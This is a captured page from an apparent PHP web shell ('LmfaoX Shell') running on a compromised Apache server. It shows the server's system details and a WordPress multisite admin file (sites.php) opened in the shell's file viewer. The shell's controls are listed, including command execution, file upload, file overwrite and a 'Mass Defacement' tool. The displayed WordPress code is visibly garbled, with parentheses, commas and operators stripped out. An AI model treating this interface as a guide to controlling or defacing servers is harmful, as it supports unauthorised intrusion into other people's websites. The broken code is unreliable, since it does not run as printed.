ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:30.63 GB of 70.42 GB (43.5%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ marphoto/ wp-admin/ network/ - drwxr-xr-x

Directory:
Viewing file:     sites.php (8.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Multisite sites administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once( dirname__FILE__ ) . '/admin.php' );

if ( ! 
is_multisite() )
    
wp_die__'Multisite support is not enabled.' ) );

if ( ! 
current_user_can'manage_sites' ) )
    
wp_die__'You do not have permission to access this page.' ) );

$wp_list_table _get_list_table'WP_MS_Sites_List_Table' );
$pagenum $wp_list_table->get_pagenum();

$title __'Sites' );
$parent_file 'sites.php';

add_screen_option'per_page', array( 'label' => _x'Sites''sites per page (screen options)' ) ) );

get_current_screen()->add_help_tab( array(
    
'id'      => 'overview',
    
'title'   => __('Overview'),
    
'content' =>
        
'<p>' __('Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.') . '</p>' .
        
'<p>' __('This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.') . '</p>' .
        
'<p>' __('Hovering over each site reveals seven options (three for the primary site):') . '</p>' .
        
'<ul><li>' __('An Edit link to a separate Edit Site screen.') . '</li>' .
        
'<li>' __('Dashboard leads to the Dashboard for that site.') . '</li>' .
        
'<li>' __('Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.') . '</li>' .
        
'<li>' __('Delete which is a permanent action after the confirmation screens.') . '</li>' .
        
'<li>' __('Visit to go to the frontend site live.') . '</li></ul>' .
        
'<p>' __('The site ID is used internally, and is not shown on the front end of the site or to users/viewers.') . '</p>' .
        
'<p>' __('Clicking on bold headings can re-sort this table.') . '</p>'
) );

get_current_screen()->set_help_sidebar(
    
'<p><strong>' __('For more information:') . '</strong></p>' .
    
'<p>' __('<a href="http://codex.wordpress.org/Network_Admin_Sites_Screen" target="_blank">Documentation on Site Management</a>') . '</p>' .
    
'<p>' __('<a href="http://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
);

$id = isset( $_REQUEST['id'] ) ? intval$_REQUEST['id'] ) : 0;

if ( isset( 
$_GET['action'] ) ) {
    
/** This action is documented in wp-admin/network/edit.php */
    
do_action'wpmuadminedit' );

    if ( 
'confirm' === $_GET['action'] ) {
        
check_admin_referer'confirm' );

        if ( ! 
headers_sent() ) {
            
nocache_headers();
            
header'Content-Type: text/html; charset=utf-8' );
        }
        if ( 
$current_site->blog_id == $id )
            
wp_die__'You are not allowed to change the current site.' ) );
        
?>
        <!DOCTYPE html>
        <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
            <head>
                <meta name="viewport" content="width=device-width" />
                <title><?php _e'WordPress &rsaquo; Confirm your action' ); ?></title>

                <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                <?php
                wp_admin_css
'install'true );
                
wp_admin_css'ie'true );
                
?>
            </head>
            <body class="wp-core-ui">
                <h1 id="logo"><a href="<?php echo esc_url__'http://wordpress.org/' ) ); ?>"><?php _e'WordPress' ); ?></a></h1>
                <form action="sites.php?action=<?php echo esc_attr$_GET['action2'] ) ?>" method="post">
                    <input type="hidden" name="action" value="<?php echo esc_attr$_GET['action2'] ) ?>" />
                    <input type="hidden" name="id" value="<?php echo esc_attr$id ); ?>" />
                    <input type="hidden" name="_wp_http_referer" value="<?php echo esc_attrwp_get_referer() ); ?>" />
                    <?php wp_nonce_field$_GET['action2'], '_wpnonce'false ); ?>
                    <p><?php echo esc_htmlwp_unslash$_GET['msg'] ) ); ?></p>
                    <?php submit_button__('Confirm'), 'button' ); ?>
                </form>
            </body>
        </html>
        <?php
        
exit();
    }

    
$updated_action '';

    
$manage_actions = array( 'deleteblog''allblogs''archiveblog''unarchiveblog''activateblog''deactivateblog''unspamblog''spamblog''unmatureblog''matureblog' );
    if ( 
in_array$_GET['action'], $manage_actions ) ) {
        
$action $_GET['action'];
        if ( 
'allblogs' === $action )
            
$action 'bulk-sites';

        
check_admin_referer$action );
    }

    switch ( 
$_GET['action'] ) {

        case 
'deleteblog':
            if ( ! 
current_user_can'delete_sites' ) )
                
wp_die__'You do not have permission to access this page.' ) );

            
$updated_action 'not_deleted';
            if ( 
$id != '0' && $id != $current_site->blog_id && current_user_can'delete_site'$id ) ) {
                
wpmu_delete_blog$idtrue );
                
$updated_action 'delete';
            }
        break;

        case 
'allblogs':
            if ( ( isset( 
$_POST['action'] ) || isset( $_POST['action2'] ) ) && isset( $_POST['allblogs'] ) ) {
                
$doaction $_POST['action'] != -$_POST['action'] : $_POST['action2'];

                foreach ( (array) 
$_POST['allblogs'] as $key => $val ) {
                    if ( 
$val != '0' && $val != $current_site->blog_id ) {
                        switch ( 
$doaction ) {
                            case 
'delete':
                                if ( ! 
current_user_can'delete_site'$val ) )
                                    
wp_die__'You are not allowed to delete the site.' ) );

                                
$updated_action 'all_delete';
                                
wpmu_delete_blog$valtrue );
                            break;

                            case 
'spam':
                            case 
'notspam':
                                
$updated_action = ( 'spam' === $doaction ) ? 'all_spam' 'all_notspam';
                                
update_blog_status$val'spam', ( 'spam' === $doaction ) ? '1' '0' );
                            break;
                        }
                    } else {
                        
wp_die__'You are not allowed to change the current site.' ) );
                    }
                }
            } else {
                
wp_redirectnetwork_admin_url'sites.php' ) );
                exit();
            }
        break;

        case 
'archiveblog':
        case 
'unarchiveblog':
            
update_blog_status$id'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' '0' );
        break;

        case 
'activateblog':
            
update_blog_status$id'deleted''0' );
            
do_action'activate_blog'$id );
        break;

        case 
'deactivateblog':
            
do_action'deactivate_blog'$id );
            
update_blog_status$id'deleted''1' );
        break;

        case 
'unspamblog':
        case 
'spamblog':
            
update_blog_status$id'spam', ( 'spamblog' === $_GET['action'] ) ? '1' '0' );
        break;

        case 
'unmatureblog':
        case 
'matureblog':
            
update_blog_status$id'mature', ( 'matureblog' === $_GET['action'] ) ? '1' '0' );
        break;
    }

    if ( empty( 
$updated_action ) && in_array$_GET['action'], $manage_actions ) )
        
$updated_action $_GET['action'];

    if ( ! empty( 
$updated_action ) ) {
        
wp_safe_redirectadd_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
        exit();
    }
}

$msg '';
if ( isset( 
$_GET['updated'] ) ) {
    switch ( 
$_GET['updated'] ) {
        case 
'all_notspam':
            
$msg __'Sites removed from spam.' );
        break;
        case 
'all_spam':
            
$msg __'Sites marked as spam.' );
        break;
        case 
'all_delete':
            
$msg __'Sites deleted.' );
        break;
        case 
'delete':
            
$msg __'Site deleted.' );
        break;
        case 
'not_deleted':
            
$msg __'You do not have permission to delete that site.' );
        break;
        case 
'archiveblog':
            
$msg __'Site archived.' );
        break;
        case 
'unarchiveblog':
            
$msg __'Site unarchived.' );
        break;
        case 
'activateblog':
            
$msg __'Site activated.' );
        break;
        case 
'deactivateblog':
            
$msg __'Site deactivated.' );
        break;
        case 
'unspamblog':
            
$msg __'Site removed from spam.' );
        break;
        case 
'spamblog':
            
$msg __'Site marked as spam.' );
        break;
        default:
            
$msg apply_filters'network_sites_updated_message_' $_GET['updated'], __'Settings saved.' ) );
        break;
    }

    if ( ! empty( 
$msg ) )
        
$msg '<div class="updated" id="message"><p>' $msg '</p></div>';
}

$wp_list_table->prepare_items();

require_once( 
ABSPATH 'wp-admin/admin-header.php' );
?>

<div class="wrap">
<h2><?php _e'Sites' ?>

<?php if ( current_user_can'create_sites') ) : ?>
    <a href="<?php echo network_admin_url('site-new.php'); ?>" class="add-new-h2"><?php echo esc_html_x'Add New''site' ); ?></a>
<?php endif; ?>

<?php if ( isset( $_REQUEST['s'] ) && $_REQUEST['s'] ) {
    
printf'<span class="subtitle">' __'Search results for &#8220;%s&#8221;' ) . '</span>'esc_html$s ) );
?>
</h2>

<?php echo $msg?>

<form action="" method="get" id="ms-search">
<?php $wp_list_table->search_box__'Search Sites' ), 'site' ); ?>
<input type="hidden" name="action" value="blogs" />
</form>

<form id="form-site-list" action="sites.php?action=allblogs" method="post">
    <?php $wp_list_table->display(); ?>
</form>
</div>
<?php

require_once( ABSPATH 'wp-admin/admin-footer.php' ); ?>
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1923 seconds